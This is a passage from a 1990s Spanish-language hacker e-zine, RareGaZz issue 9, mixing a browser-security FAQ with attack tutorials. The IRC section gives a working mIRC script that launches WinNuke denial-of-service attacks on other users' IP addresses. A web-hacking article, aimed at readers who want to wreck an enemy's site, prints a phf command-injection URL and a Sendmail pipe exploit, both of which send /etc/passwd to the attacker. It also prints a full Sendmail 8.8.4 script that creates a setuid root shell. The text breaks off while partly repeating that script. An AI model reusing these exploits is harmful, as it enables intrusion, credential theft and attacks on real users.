Copy Link
Add to Bookmark
Report
RareGaZz Issue 09
-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\
<<::RareGaZz::>>
-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/
ooooooo oo ooooooo oooooo ooooo oo oooooo oooooo
$$""$$" o$"$$ $$""$$" $$ o$$""o, o$"$$ """$$ """$$
$$o$$" $$ $$ $$o$$" $$$$$$ $$ $$ $$ $$ $$ $$
$$$$$ $$ $$ $$$$$ $$"""" "$o $$ $$ $$ $$" $$"
$$" $$ $$$$$$$ $$" $$ $$ "$o $$ $$$$$$$ o$" o$"
$$ "$$ $$ $$ $$ "$$ $$ooooo "$o$$ $$ $$ o$$oooo o$$oooo
"" """ "" "" "" """ """"""" "" "" "" """"""" """""""
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
"¨Quis Custodiet Custodes?"
Cuidado - raregazz esta cargada !!
pues asi ha pasado de la nada un largo tiempo despues de rare #8. Sintiose
como si nada fuerase. pero recordose que mejorandose podria ser mejor...y
lo fue. d.c.//intro: swoish//
Muchas noticias nuevas les tenemos despues de esta peque¤a `ausencia' de
internet. La verdad es que hemos estado mas activos que nunca preparando
una serie de sorpresas para los lectores y realizando mejoras a nuestra
organizacion para ofrecer un servicio de calidad under. En este numero
estamos seguros que obtendran lo que numero tras numero han esperado de este
magazine. Hacking/Cracking/Phreaking/Anarchy/Virii/Warez. Todo esto y mas
pueden leerlo y utilizarlo -pues se incluyen utilidades y tips- simplemente
empezando a leer y disfrutar de este su zine!
ÚÄContenidos:ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³³
³ * INTRODUCCION EXTRAORDINAIRE ³³
³ * MANUAL DE SEGURIDAD. ³³
³ * IRC X-) ³³
³ * HACKEANDO WEB'S ³³
³ * ESTUDIAR O TRABAJAR Y PERMANECER DESPIERTO ³³
³ * CRACKER APPLETS JACK ³³
³ * INGENIERIA SOCIAL ³³
³ * HACKING NOVELL NETWARE ³³
³ * ELIMINANDO NUESTRAS HUELLAS DEL SISTEMA ³³
³ * J.J.F. / HACKERS TEAM ³³
³ * COMO MEXICO NO HAY DOS! ³³
³ * TERMINOS USADOS EN EL HACKING WORLD ³³
³ * EL PRESUMIDO ³³
³ * KEVIN MITNICK: Recluso numero 89950-012 ³³
³ * MANUAL PARA EL OCIO. ³³
³ * EL NUEVO ROBO ³³
³ * NOTIL00NS ³³
³ * B00/\/\3R4nG ³³
³ * SECCION UUENCODE -philez- ³³
³ * RareGaZz a finales del a¤o 1997 ³³
³ ³³
ÀÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
-| Flos Juventutis |-
"VINO UN IDIOTA Y ME DIJO QUE YO ERA UN GENIO, Y
UN GENIO ME DIJO QUE YO ERA UN IDIOTA. VINO TAM-
BIEN OTRO IDIOTA Y ME DIJO QUE YO ERA UN IDIOTA,
Y OTRO GENIO ME DIJO QUE YO ERA UN GENIO...Y YO,
INMUTABLE".
INTRODUCCION EXTRAORDINAIRE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MagaZine electronico protegido por el derecho a la
libre expresion (y la anonimidad) creado sin fines de
lucro. De hecho creado sin fin alguno.
La informacion contenida en este numero puede servir
para ocasionar da¤o a un sistema, organismo o raza
humana y debera ser tratada con responsabilidad y
sin excesos. sexo. Menores de edad leyendo este zine
necesitaran la autorizacion de sus padres para hacer
fraude electronico o delito informatico de lo contrario
RareGaZz asume total responsabilidad de los actos de
estos peque¤ines...siempre y cuando no sean delitos y
generen divisas -de preferencia extranjeras-. Para
contactar al consejo editorial de este zine favor de
abusar de la direccion RAREGAZZ@BIGFOOT.COM en caso de
querer enviar un archivo por "attachment" solicitar
instrucciones. RareGaZz por ser una publicacion de
acceso mundial responde a las leyes informaticas de
la INTERPOL -policia mundial- y se apega a derecho. Si
alguien conoce las leyes informaticas de la agencia
antes mencionada o tiene idea alguna del significado
de la palabra "derecho" favor de asesorarnos.
Pues bien aqui estamos de nuevo e igual de viejos que la ultima vez. Esta
vez nos tardamos bastante (mas que nunca); en verdad compadezco a todos
ustedes viviendo en ciudades grandes con grotescos niveles de contaminacion
y una vida urbana acelerada mientras juegan la carrera de las ratas en su
jungla de asfalto mientras que nosotros por 'aca... a un lado de una de
las mejores y escondidas playas de mexico disfrutando de la calma que solo
una peque¤a ciudad puede ofrecer...no los culpo por desesperarse.
Un HACK merece mencion en este numero, fue el realizado a la pagina del
ITESM Campus Saltillo por azumlord -el hack esta disponible en la pagina
de raregazz seccion software- que destaca por su originalidad y bellas
chicas :) La pagina ahora esta arreglada. http://www.sal.itesm.mx
El proyecto HACKERZ empieza a dar resultados en algunos paises entre los
que destacan: Puebla, Ensenada y Monterrey Mexico. Argentina (algunas
localidades), Colombia y Chile. Todavia estan invitados a mandar sus datos
para continuar con este proyecto. Mas info en RareGaZz 8 y 7.
Unas calcamonias -o pedazos de hule con un lado pegajoso- del zine ya
estan disponibles GRATIS a cualquier persona que viva o vegete en alguno
de estos paises: Argentina, Mexico y/o Colombia. Para recibirlas envia
un e-mail con una direccion postal valida a la direccion de la revista.
Son gratis y hasta que se acaben. Para el proximo numero mas paises seran
incluidos si se cuenta con suficiente presupuesto, unicamente dos (2)
seran enviadas por direccion postal. La excepcion a la regla: "Los
integrantes del proyecto HACKERZ recibiran las calcamonias sin importar
en que pais se encuentren." Bueno y para q'? pues para demostrar que este
movimiento esta presente fuera de las barreras electronicas.
Me despido y regreso al UnderGround...ya saben donde encontrarme.
" Las maravillas con las que nos deleitan los escritores de raregazz nunca
pasaran de ser inscripciones trazadas por las manos de ilusos..."
-Publicacion electronica mexicana.
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
<<::RareGaZz::>>
Manual de Seguridad en Internet 1/2
por ServerHacker
Pregunta: ¨Como desactivo el mensaje ""You are submitting the contents of
a form insecurely" en Netscape? ¨Debo preocuparme?
Este mensaje indica que los contenidos de una forma que estas enviando a un
script CGI no estan encriptados y pueden ser interceptados. En este momento
recibiras este mensaje cuando envies un form a cualquier servidor que no
sea Netscape ya que unicamente Netsite Commerce Server puede manejar forms
encriptadas. No deberias mandar informacion confidencial a traves de estas
forms como numeros de tarjeta. En el caso de que seas de las personas que
dicen los datos de su tarjeta via celular...pues hazlo!
Para apagar esta advertencia, elige Preferences del menu Options de Netscape,
escoge "Images and Security" y desmarca la caja con el nombre "Warn before
submitting forms insecurely."
Pregunta: ¨Que tan segura es la encripcion usada por SSL?
SSL usa encripcion basada en llaves publicas que requiere un intercambio de
llaves entre el cliente y el servidor; esta llave es usada para encriptar
la transaccion http (solicitud y respuesta). Cada transaccion usa una llave
diferente asi que si alguien se las arregla para decriptar una transaccion,
no significa que ha encontrado la llave secreta del servidor; si quisiera
decriptar otra transaccion, necesitaria gastar el mismo tiempo y esfuerzo
en la segunda como lo hicieron para decriptar la primera.
Los servidores Netscape y navegadores usan encripcion usando una llave
secreta de 40-Bits. Mucha gente piensa que usar encripcion de 40-Bits es
inseguro ya que es vulnerable a un ataque de "fuerza bruta" (intentando
las 2^40 llaves posibles hasta encontrar la que decripte el mensaje). Esto
fue demostrado en 1995 por un investigador frances que usando varias
estaciones de trabajo logro decriptar un mensaje encriptado de 40-Bits
en una semana. Hardware especializado podria crackear este tipo de encripcion
en minutos u horas. Usar una llave de encripcion de 128-Bits elimina este
problema pues ahora hay 2^128 posibilidades de encontrar la llave lo que
hace casi imposible crackear ya que tomaria aproximadamente la edad del
universo en crackear usando tecnologia convencional. Desafortunadamente la
mayoria de los usuarios de Netscape tienen navegadores que unicamente
usando la encripcion de 40-Bits debido a las restricciones de exportacion
de los Estados Unidos Americanos.
En Netscape puedes saber que tipo de encripcion se esta usando para un
documento en particular viendo la pantalla "document information" accesible
desde el menu "view". La peque¤a llave en la parte inferior izquierda
tambien indica que tipo de encripcion esta siendo usada. Una llave solida
con dos dientes indica encripcion de 128 Bits, una llave solida con un
solo diente indica encripcion de 40-Bits y una llave rota indica no
encripcion. A veces tu navegador puede soportar encripcion de 128-Bits y
usar de 40 si el servidor esta fuera de los Estados Unidos Americanos y
Canada.
Pregunta: Ni navegador Netscape esta mostrando una forma para ordenar
mercancia de una tienda que yo confio. La peque¤a llave en la parte inferior
izquierda esta solida y tiene dos dientes. ¨Esto significa que puedo mandar
mi numero de tarjeta a salvo, verdad?
No. Una llave solida con dos dientes indica que se esta usando encripcion
SSL de 128-Bits y que el host remoto tiene un certificado de validez que
Netscape reconoce. Hasta este punto, tu no sabes a quien pertenece este
certificado. Es posible que alguien haya comprado o robado un certificado
de un servidor y despues haya ruteado el trafico de la red destinado a la
tienda simplemente ruteando el trafico en algun lugar entre tu y la tienda.
La unica forma de saber si estas `hablando' directamente con la compa¤ia
con la que quieres comerciar es abriendo la ventana "Document Information"
(del menu view) y examinar el certificado del servidor. Si el host y nombre
que aparecen ahi coinciden con la compa¤ia que esperas, entonces podras
hacer cualquier transaccion con seguridad.
Pregunta: ¨Que tan privadas son mis peticiones para ver documentos Web?
Todas las peticiones de documentos via Web son guardadas en archivos llamados
logs o registros. Aunque tu nombre no es usualmente registrado, tu direccion
IP y el nombre del host desde donde accesas si es guardado. Ademas, algunos
servidores registran la URL desde donde estas accesando. El record de estos
registros sera usado para realizar estadisticas unicamente.
Un claro ejemplo de esto es la siguiente pagina:
http://www.l0pht.com/ref.html
En esta pagina puedes encontrar todas las direcciones que incluyen un link
a la pagina www.l0pht.com Si tienes una pagina y alguien desde ahi ha
entrado a www.l0pht.com no dudes en encontrar ahi la direccion de tu pagina.
Obviamente ahi encontraras la pagina de links de raregazz (las dos), y muchas
otras.
Pregunta: ¨Cual es la diferencia entre Java y Javascript?
A pesar de las similitudes, Java y Javascript son dos entidades separadas.
Java es un lenguaje dise¤ado por Sun Microsystems. Los Java scripts estan
precompilados en una forma compacta y guardados del lado del servidor. Los
documentos HTML se refieren a las mini-aplicaciones como Java "applets" por
incorporar las etiquetas <APPLET>. Los browsers que soportan Java bajan el
codigo del servidor y lo ejecutan.
Para saber si tu navegador soporta java en Netscape escoge del menu "options"
la opcion "Network preferences". Despues haz un click en la ceja "Languajes".
Deberan estar marcadas las opciones "Enable Java" y "Enable Javascript".
El codigo JavaScript es una extension del lenguaje HTML dise¤ada por la
Corporacion Netscape y entendido por los navegadores superiores al 2.0 y
superiores versiones a la 3.0 de Internet Explorer. Es un lenguaje dise¤ado
para controlar el navegador; tiene la abilidad de abrir y cerrar ventanas,
manipular elementos de formas, ajustar settings del navegador, y bajar y
ejecutar applets java.
Pregunta: Existen errores de seguridad conocidos en Java?
Los Javascripts, debido a que se executan en el lado del navegador en vez
del servidor, mueven el riesgo de la seguridad del servidor al cliente.
¨Hay algo que deba temer el cliente?
Varias medidas de seguridad estan dentro del lenguaje Java para prevenir
riesgos de seguridad en la computadora del usuario remoto. Cuando se
ejecutan como applets, los scripts Java estan restringidos por el "security
manager" para definir lo que pueden hacer. El security manager no permite
que los applets executen comandos arbitrarios del sistema o que abran algun
dispositivo del sistema como los drives de los diskettes. Asi pues, los
scripts estan limitados a unicamente leer y escribir archivos en un
directorio designado de la computadora cliente (la tuya). El navegador
HotJava te permite especificar este directorio mientras que Netscape no
permite este tipo de manipulacion.
Los applets estan limitados a una sola conexion de donde fueron `bajados'
y compilados. La razon se discute adelante.
Finalmente, un administrador de seguridad permite a los applets Java leer y
escribir a la red, leer y escribir a un disco local pero no a los dos al
mismo tiempo. Esta limitacion se hizo para evitar que un applet espiara en
los archivos de tu disco duro mientras los manda al servidor.
Mas sobre este interesante tema...cuando haya terminado mi cena... :)
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
í í í í í í í í í í í í í í í í í í í í í í í í í í
ÞÛ ÞÛßßÛ ÞÛßßß
GuyBrush ÞÛ ÞÛÜÜÛ ÞÛ Blacklash
ÞÛ ÞÛ ÛÜ ÞÛÜÜÜ
<<::RareGaZz::>>
í í í í í í í í í í í í í í í í í í í í í í í í í í
-Vocabulario
-NetSplit
-Ordenes basicas
-Como nukear y como protegerse
-Nukez
Vocabulario
^^^^^^^^^^^
* nick -> Alias o apodo de un usuario en el IRC.
* ban -> Mediante esta accion se impide la entrada de un usuario a un canal.
Solo pueden banear (y levantar los bans) aquellos que son op (nota:
op es el que tiene una '@' al lado de su nombre. Tiene el control
absoluto del canal).
* massban -> Banear a todos los usuarios de un canal.
* kick -> Para expulsar a alguien de un canal. Solo pueden kickear los ops.
* masskick -> kickear a todos los usuarios de un canal.
* massop -> Dar op a todos los usuarios de un canal. El que da los op debe ser
op, naturalmente.
* massdeop -> Quitar el op a todos los usuarios de un canal. Has de ser op.
* kline -> Impide la entrada de un usuario (identificandolo por su IP) en el
servidor. Si tienes numero IP fijo ... te han jodido bien. Si cada
vez que te conectas tienes un IP distinto, solo puedes desconectar-
te y volverte a conectar (volver a realizar la llamada para que se
te asigne otra IP).
* nuke -> Ataque a un usuario para provocar su expulsion de la red.
* script -> Complemento para el cliente de IRC que incluye nuevos menus, co-
mandos, opciones, ...
* netsplit -> Ocurre cuando un determinado servidor, por cualquier circunstan-
cia, se separa del resto de la red.
* netjoin -> Tras el netsplit viene esta accion. El servidor separado se une
de nuevo a la red.
* bot -> Programa empleado normalmente para mantener un canal (nota: ¨has es-
tado alguna vez de arrakis? pues 'scytale' es un bot). Puede realizar
tareas programadas, como por ejemplo dar op a gente que ha registra-
do un canal, mostrar mensajes de bienvenida, expulsar a algun indese-
ado, ... pero logicamente, no puede mantener conversaciones.
* clon -> Como la misma palabra dice, un clon es una copia de un usuario pero
con un nick distinto. Se pueden llegar a cambiar todos los datos del
clon excepto el IP. La forma de crear clones es abrir didtintas se-
siones de IRC o bien, usar script (luego explicare que es esto). Pe-
ro ten cuidado, porque algunos bots te kickearan del canal en el que
introduzcas clones, o a lo peor te mandaran un kline.
* flood -> Se produce un flood cuando se sobrecarga el servidor de informacion
por lo que te desconectara por 'excess flood'.
* lag -> Retardo que sufre la informacion debido a la saturacion que sufre el
servidor. Podemos ver la cantidad de lag de un usuario enviandolo un
ping.
* caerse -> Este termino se emplea cuando alguien se desconecta del servidor
de forma involuntaria.
Bueno, estos son los comandos basicos que debes saber. Espero que los hayais
entendido todos ... son muy basicos :)
NetSplit
^^^^^^^^
De todos modos hay uno que quiero resaltar ya que puede que sea el que menos
gente conoce. ¨Para que sirve el 'netsplit'? Bien, esto puede ser de gran ayu-
da. Gracias a este comando podemos entrar en canales a los que no tenemos ac-
ceso (bien porque no estamos invitados, o porque se necesita passwd, ...) y
ademas, siendo ops. ¨Como? pues hacemos un netsplit a algun servidor que este
conectado a la misma red del que estamos ahora mismo. Hay muchos (pero ahora
mismo no recuerdo ninguno). Si te das cuenta, cada vez que te conectas, en la
barra del status te pone el nombre del servidor. Puedes usar cualquiera de los
que te salen. Bueno, ¨que ocurre cuando hacemos el netsplit? que aparentemente
estamos en un servidor 'vacio'. Es como si no hubiera nadie (solo la gente que
esta haciendo lo mismo que nosotros :) ). Ahora podemos entrar en el canal que
queramos y ser ops. Despues solo tenemos que esperar unos minutos a que vuelva
a 'unirse' a la red y ya estaremos dentro! y como ops. A veces es mejor que
nos quitemos el op para no llamar la atencion.
Puede que estes esperando varios minutos y nada, que no entra!!!. Pues sera
mejor que lo dejes, porque a veces los bots no te dejan hacer el netjoin :(
Ordenes basicas
^^^^^^^^^^^^^^^
/help -> Ayuda.
/list -> Muestra en una ventana todos los canales abiertos, con el numero de
usuarios conectados y el topico.
/join #canal -> Entrar en un canal.
/part #canal -> salir de un canal.
/quit -> Salir del cliente de IRC y desconectarse del servidor.
/nick nuevo_nick -> Cambiar de nick.
/whois usuario -> Para ver informacion sobre un usuario. Donde <usuario> es su
nick.
/usho usuario -> Igual que el anterior pero muestra mas informacion.
/me -> Muestra un mensaje como si fuera una accion realizada por uno mismo.
/msg usuario msg -> Envia un mensaje privado a un usuario.
/query usuario -> Inicia una conversacion privada con un usuario.
/notify usuario -> Para recibir notificacion cuando el usuario entre en el IRC.
/who *cadena* -> Lista los usuarios que entre sus datos contienen la cadena
especificada.
/names #canal -> Muestra la lista de usuarios que estan dentro de ese canal.
/ping usuario -> Efectua un ping a un usuario viendo el tiempo que tarda en
devolver el ping, para medir el lag que tenemos.
/ignore usuario -> Para no ver los mensajes que escribe ese usuario. Por si
alguien se pone muy pesado ...
/ignore off -> Para volver a leer los mensajes de todos.
/invite usuario #canal -> Invitar a un usuario a un canal.
/topic #canal nuevo_topico -> Cambiar el topico de un canal.
/mode #canal nuevo_modo -> Cambiar los modos de un canal. Para activarlos se
utiliza + y para desactivarlos - (por ejemplo:
/mode #hackers +t)
Los modos sobre el canal mas comunes son:
t: Solo los ops pueden cambiar el topico.
i: Canal de invitados unicamente.
l numero: Numero maximo de usuarios.
m: Solo pueden hablar los ops.
p: Canal privado.
s: Canal secreto.
k llave: Canal con contrase¤a para entrar.
n: No permite mensajes externos en el canal.
Los modos sobre los usuarios mas comunes son:
/mode #canal nuevo_modo usuario -> Cambiar los modos de un usuario.
i: Te hace invisible y solo podran hablar
contigo los que conozcan tu nick.
s: recibe noticias del servidor.
Para hacer op a un usuario -> /mode #canal +o usuario
Para hacer op a varios usuarios -> /mode #canal +ooo usu1 usu2 usu3
Para hacer deop a un usuario -> /mode #canal -o usuario
Para hacer deop a varios usuarios -> /mode #canal -ooo usu1 usu2 usu3
Para banear a alguien -> /mode #canal +b usuario
Para quitarle el ban a alguien -> /mode #canal -b usuario
Como nukear y como protegerse
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Existen varias formas de nukear. Una es usando clonos y luego floodeando a al-
gun usuario o a algun canal. Como vimos anteriormente, un usuario puede desco-
nectarse del servidor si tiene una sobre carga de informacion (causandole un
'excess flood'). Imagina lo que tardaria en 'caerse' si le envias 500 pings
segidos ... ¨y si creas 4 o 5 clones y cada uno de ellos el enviar 500 pings?
Hay muchos scripts con los que puedes crear clones y hacer diversos ataques.
En caso de no saber programar un script para nukear a alguien puedes usar
alguno de los siguientes programas bastante buenos: azezino, kokaine,
7§ sphere, aunque cada dia hay mas gente que sabe programarlos.
Pero con los scripts solo conseguimos echar a alguien del servidor y que en
pocos minutos vuelva a estar dentro. Pero tambien hay otras formas de ataque
que 'cuelgan' el ordenador de la victima por completo. Alucinante!.
Hay dos tipos de ataques. Uno es el OOB (Out of Band): cuando Windows instala
el protocolo TCP/IP a¤ade automaticamente el NetBios el cual activa el puerto
139 (necesario para las peticiones de NetBios). Pero como Bill Gates es muy
bueno con los hackers, siempre deja uno o dos bugs en cada uno de sus progra-
mas :D para que nos distraigamos.
Bien, pues si enviamos un paquete de datos a un usuario que tenga abierto este
puerto (el 139) causara un error grave de forma que le aparecera por pantalla,
en el famoso color azul de fondo con letras blancas:
Ocurrio una excepcion OE at 0028 de VxD MSCTP(01)+000041AE Fue
llamado desde 0028 de VxD NDIS+00000D7C
Y el ordenador se colgara por completo. Aparentemente todo sigue igual, pero
en realidad el ordenador no podra recibir ninguna conexion hasta que se reini-
cialice.
Nota: el ataque solo funciona si la victima usa Windows 3.11, 95 o NT y tiene
activo el NetBios,
P: ¨Donde puedo conseguir un maravilloso programa que haga esto?
R: En nuestra pagina de RareGaZz
P: ¨Como puedo protegerme para que no me nukeen a mi?
R: La mejor proteccion es NO usar Windows. Pero si quieres usarlo, puedes re-
nombrar el fichero 'windows\system\vnbt.386' como 'windows\system\vnbt.bak'
Hay otra forma de nukear ademas del OOB; es el ICMP que esta basado en un nue-
vo error del TCP/IP de Windows (como no!!!). Cuando Windows recibe un pa-
quete de datos altamente fragmentados y los coloca en orden, se produce el
bloqueo del sistema.
Nukez
^^^^^
En esta seccion vamos a incluir al MIRC 5.x una opcion de nuke, para que
puedas echar a la gente, usando el programa winnuke 4. Aqui va :
En remote debes poner lo siguiente :
#nuke off
raw 311:*: set %nukeip $parm4 | halt
raw 312:*: set %nukeserver $parm3 | halt
raw 301:*: halt
raw 313:*: halt
raw 319:*: halt
raw 317:*: halt
raw 318:*: run $mircdirutil\wnuke4.exe -n %nukeserver %nukeip 0 1024-2500 %nukeport | .disable #nuke | echo 3 -a Nukeando a %nukeip en %nukeserver por el puerto %nukeport | halt
#nuke end
#icmp off
raw 311:*: set %icmpip $parm4 | halt
raw 301:*: halt
raw 313:*: halt
raw 319:*: halt
raw 317:*: halt
raw 318:*: run $mircdirutil\wnuke4.exe -c %icmpip 30000 0 3 | .disable #icmp | echo 3 -a ICMP Echo mandado a %icmpip con 30.000 Paquetes | halt
#icmp end
en el alias crea :
nuke { .enable #nuke | whois $$1 }
icmp { .enable #icmp | whois $$1 }
y en los popups :
del nicknamen, chat y query :
Nuker
.ICMP Echo: /icmp $$1
.Nuke:/set %nukeport $$?="Puerto?" | /nuke $$1
en el status, channel y menubar :
Nuker
.ICMP Echo:/run $mircdirutil\wnuke4.exe -c $$?="IP del usuario?" 30000 0 3 | echo 3 -a ICMP Echo mandado a $! con 30.000 Paquetes
.Nuke IP:/run $mircdirutil\wnuke4.exe -n $$?="IRC Server del usuario" $$?="IP Address del usuario" 0 1024-2024 $$?="Puerto (ej.: 6667)"
.Nuke Nick:/set %nukeport $$?="Puerto?" | /nuke $$?="A quien Nukeo?"
ahora solo falta copiar el wnuke4.exe al directorio util de donde esta el mirc
ej: c:\mirc\util
El WinNuke viene incluido al final de la revista en la seccion UUENCODE.
Este nuker fue sacado del Kokaine 3.0 para mirc 4.72 pero modificado
para el 5.x
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º º +++ Azum Lord +++ º
º HACKEANDO WEB'S º º
º º http://members.tripod.com/~jleg/logos/wlm.html º
º º AzumLord@bigfoot.com º
º º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
CONTENIDOS
1.- Disclaimer
2.- Introduccion
3.- Comenzando el ataque
4.- Obtencion del fichero de Passwd
5.- Usando Exploits
6.- Y recuerda....
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
DISCLAIMER
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
El contenido de este texto esta solamente destinado a usos educacionales,
de investigacion y de desarrollo. En ningun momento el creador de este
texto se hace responsable de los da¤os causados debido a un mal uso de el
mismo.
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
INTRODUCCION
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
Si alguna vez se te ha ocurrido que seria divertido cambiar algunas
cuantas cosillas de alguna web o de adue¤arte de alguna, este texto es
para ti.
Si tu enemigo tiene una web y quieres acabar con ella este texto es para ti.
O si simplemente quieres conocer las posibilidades del hacking este texto
es para ti.
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
COMENZANDO EL ATAQUE
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
Lo primero que hay hacer es localizar al servidor victima...
(e.j.)
http://www.victima.com <----------- Victima
Despues recopila la mayor cantidad de informacion sobre el servidor
victima por ejemplo su IP, DNS, version de Sendmail, etc.
La mayoria de las veces el servidor que contiene la web-page del site
solo tiene unos cuantos logins como el del root y el de algunos
cuantos administradores pero para saber cuales y cuantos usuarios, necesitas
el fichero de passwd.
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
OBTENCION DEL FICHERO DE PASSWD
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
Hay varias formas de entrar, una de ellas seria obteniendo el archivo
de passwd pero como? bueno he aqui algunas formas.
Nota para Newbies: Si entras al servidor por ftp con el usuario
anonymous y te vas al directorio /etc y te encuentras el fichero passwd no
te emociones este fichero solo es basura el fichero correcto esta en:
/home/ftp/etc/passwd <--------- Basura que encuentras si entras por anonymous
/etc/passwd <------------------ Fichero correcto de passwd.
Hay muchas formas de obtener el fichero de passwd como por ejemplo con
el phf:
http://www.elsitevictima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
( 1 )( 2 )( 3 )( 4 )(5)( 6 )
1.- El site que quieras atacar.
2.- El comando phf.
3.- Aqui es donde esta el secreto.
4.- El programa que quieres que se ejecute.
5.- El %20 es un espacio.
6.- Y pues aqui va el archivo o directorio que quieres ver.
O tambien con exploits, este es para obtener el fichero de passwd de
servidores con Sendmail con versiones anteriores a la 5.57
% telnet victima.com 25
Trying 255.255.255.0...
Connected to victima.com
Escape character is '^]'.
220 victima.com Sendmail 5.55 ready at Sunday, 12 Sept 97 12:09
mail from: "|/bin/mail tudireccion@decorreo.com < /etc/passwd
250 "|/bin/mail tudireccion@decorreo.com < /etc/passwd"... Sender ok
rcpt to: Aqui_pon_lo_que_se_te_antoje.
550 Aqui_pon_lo_que_se_te_antoje.... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
%
Despues crackeas el fichero de passwd con cualquier crackeador como el
Jack the Ripper o el que acostumbres usar y si sacas alguna de las cuentas
telnetea:
%telnet
%o
(to)www.victima.com
Trying 255.255.255.0 ....
Escape character is '^]'.
Linux 2.0.0 (www.victima.com) (tty2)
login:XXXXXXXX
passwd:XXXXXXXX
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
USANDO EXPLOITS
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
La forma mas sencilla de hackear una web-page es usando exploits he aqui uno
que te hara root en Sendmail 8.8.4.
--------------------------------- CORTA AQUI
---------------------------------
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"//
|cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
